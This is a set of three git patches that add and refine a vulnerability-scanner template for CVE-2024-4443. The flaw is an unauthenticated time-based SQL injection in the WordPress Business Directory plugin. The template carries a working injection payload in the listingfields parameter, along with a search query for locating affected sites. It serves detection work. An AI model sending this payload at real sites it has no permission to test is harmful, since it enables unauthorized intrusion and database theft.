From 476b712cee1cc8522ce13e6ad2209427138e3513 Mon Sep 17 00:00:00 2001 From: Kazgangap Date: Sat, 15 Jun 2024 18:35:37 +0300 Subject: [PATCH 1/3] add CVE-2024-4443 --- http/cves/2024/CVE-2024-4443.yaml | 33 +++++++++++++++++++++++++++++++ 1 file changed, 33 insertions(+) create mode 100644 http/cves/2024/CVE-2024-4443.yaml diff --git a/http/cves/2024/CVE-2024-4443.yaml b/http/cves/2024/CVE-2024-4443.yaml new file mode 100644 index 0000000000..77dc1ea74d --- /dev/null +++ b/http/cves/2024/CVE-2024-4443.yaml @@ -0,0 +1,33 @@ +id: CVE-2024-4443 + +info: + name: Business Directory < 6.4.3 SQL Injection + author: securityforeveryone + severity: critical + description: | + The Business Directory Plugin Easy Listing Directories for WordPress plugin for WordPress is vulnerable to time-based SQL Injection via the ‘listingfields’ parameter in all versions up to, and including, 6.4.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2024-4443 + - https://plugins.trac.wordpress.org/browser/business-directory-plugin/trunk/includes/fields/class-fieldtypes-select.php#L110 + - https://plugins.trac.wordpress.org/changeset/3089626/ + - https://www.wordfence.com/threat-intel/vulnerabilities/id/982fb304-08d6-4195-97a3-f18e94295492?source=cve + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2024-4443 + epss-score: 0.00063 + epss-percentile: 0.27036 + tags: sqli,vuln,cve,cve2024,wp-plugin + +http: + - method: GET + path: + - "{{BaseURL}}/business-directory/?dosrch=1&q=&wpbdp_view=search&listingfields[+or+sleep(if(1%3d1,4,0))+))--+-][1]=" + + matchers: + - type: dsl + dsl: + - 'duration>=4' + - 'status_code == 200' + - 'contains_all(body,"Business Directory","No listings found")' + condition: and From f01b01302c62c81307137960c4245cb3ff569c89 Mon Sep 17 00:00:00 2001 From: Dhiyaneshwaran Date: Mon, 24 Jun 2024 14:13:31 +0530 Subject: [PATCH 2/3] minor update --- http/cves/2024/CVE-2024-4443.yaml | 36 +++++++++++++++++++++++++------ 1 file changed, 29 insertions(+), 7 deletions(-) diff --git a/http/cves/2024/CVE-2024-4443.yaml b/http/cves/2024/CVE-2024-4443.yaml index 77dc1ea74d..feabf68b93 100644 --- a/http/cves/2024/CVE-2024-4443.yaml +++ b/http/cves/2024/CVE-2024-4443.yaml @@ -1,11 +1,14 @@ id: CVE-2024-4443 info: - name: Business Directory < 6.4.3 SQL Injection + name: Business Directory Plugin – Easy Listing Directories for WordPress <= 6.4.2 - Unauthenticated SQL Injection via listingfields Parameter author: securityforeveryone severity: critical description: | - The Business Directory Plugin Easy Listing Directories for WordPress plugin for WordPress is vulnerable to time-based SQL Injection via the ‘listingfields’ parameter in all versions up to, and including, 6.4.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. + The Business Directory Plugin Easy Listing Directories for WordPress plugin for WordPress is vulnerable to time-based SQL Injection via the ‘listingfields’ parameter in all versions up to, and including, 6.4.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. + impact: | + Unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. + remediation: Fixed in 6.4.3. reference: - https://nvd.nist.gov/vuln/detail/CVE-2024-4443 - https://plugins.trac.wordpress.org/browser/business-directory-plugin/trunk/includes/fields/class-fieldtypes-select.php#L110 @@ -17,17 +20,36 @@ info: cve-id: CVE-2024-4443 epss-score: 0.00063 epss-percentile: 0.27036 - tags: sqli,vuln,cve,cve2024,wp-plugin + metadata: + verified: true + max-request: 2 + publicwww-query: "/wp-content/plugins/business-directory-plugin/" + tags: cve,cve2024,sqli,business-directory,wordpress,wp-plugin + +flow: http(1) && http(2) http: - - method: GET - path: - - "{{BaseURL}}/business-directory/?dosrch=1&q=&wpbdp_view=search&listingfields[+or+sleep(if(1%3d1,4,0))+))--+-][1]=" + - raw: + - | + GET /wp-content/plugins/business-directory-plugin/README.TXT HTTP/1.1 + Host: {{Hostname}} + + matchers: + - type: word + words: + - 'Business Directory Plugin' + internal: true + + - raw: + - | + @timeout: 20s + POST /business-directory/?dosrch=1&q=&wpbdp_view=search&listingfields[+or+sleep(if(1%3d1,6,0))+))--+-][1]= HTTP/1.1 + Host: {{Hostname}} matchers: - type: dsl dsl: - - 'duration>=4' + - 'duration>=6' - 'status_code == 200' - 'contains_all(body,"Business Directory","No listings found")' condition: and From 61f610fe1e4c4009f3b988e4b466f2a5bad8083b Mon Sep 17 00:00:00 2001 From: Ritik Chaddha <44563978+ritikchaddha@users.noreply.github.com> Date: Tue, 25 Jun 2024 13:26:19 +0530 Subject: [PATCH 3/3] removed flow --- http/cves/2024/CVE-2024-4443.yaml | 22 +++++----------------- 1 file changed, 5 insertions(+), 17 deletions(-) diff --git a/http/cves/2024/CVE-2024-4443.yaml b/http/cves/2024/CVE-2024-4443.yaml index feabf68b93..adea03549f 100644 --- a/http/cves/2024/CVE-2024-4443.yaml +++ b/http/cves/2024/CVE-2024-4443.yaml @@ -1,19 +1,20 @@ id: CVE-2024-4443 info: - name: Business Directory Plugin – Easy Listing Directories for WordPress <= 6.4.2 - Unauthenticated SQL Injection via listingfields Parameter + name: Business Directory Plugin <= 6.4.2 - SQL Injection author: securityforeveryone severity: critical description: | The Business Directory Plugin Easy Listing Directories for WordPress plugin for WordPress is vulnerable to time-based SQL Injection via the ‘listingfields’ parameter in all versions up to, and including, 6.4.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. impact: | Unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. - remediation: Fixed in 6.4.3. + remediation: | + Fixed in 6.4.3. reference: - - https://nvd.nist.gov/vuln/detail/CVE-2024-4443 - https://plugins.trac.wordpress.org/browser/business-directory-plugin/trunk/includes/fields/class-fieldtypes-select.php#L110 - https://plugins.trac.wordpress.org/changeset/3089626/ - https://www.wordfence.com/threat-intel/vulnerabilities/id/982fb304-08d6-4195-97a3-f18e94295492?source=cve + - https://nvd.nist.gov/vuln/detail/CVE-2024-4443 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 @@ -22,24 +23,11 @@ info: epss-percentile: 0.27036 metadata: verified: true - max-request: 2 + max-request: 1 publicwww-query: "/wp-content/plugins/business-directory-plugin/" tags: cve,cve2024,sqli,business-directory,wordpress,wp-plugin -flow: http(1) && http(2) - http: - - raw: - - | - GET /wp-content/plugins/business-directory-plugin/README.TXT HTTP/1.1 - Host: {{Hostname}} - - matchers: - - type: word - words: - - 'Business Directory Plugin' - internal: true - - raw: - | @timeout: 20s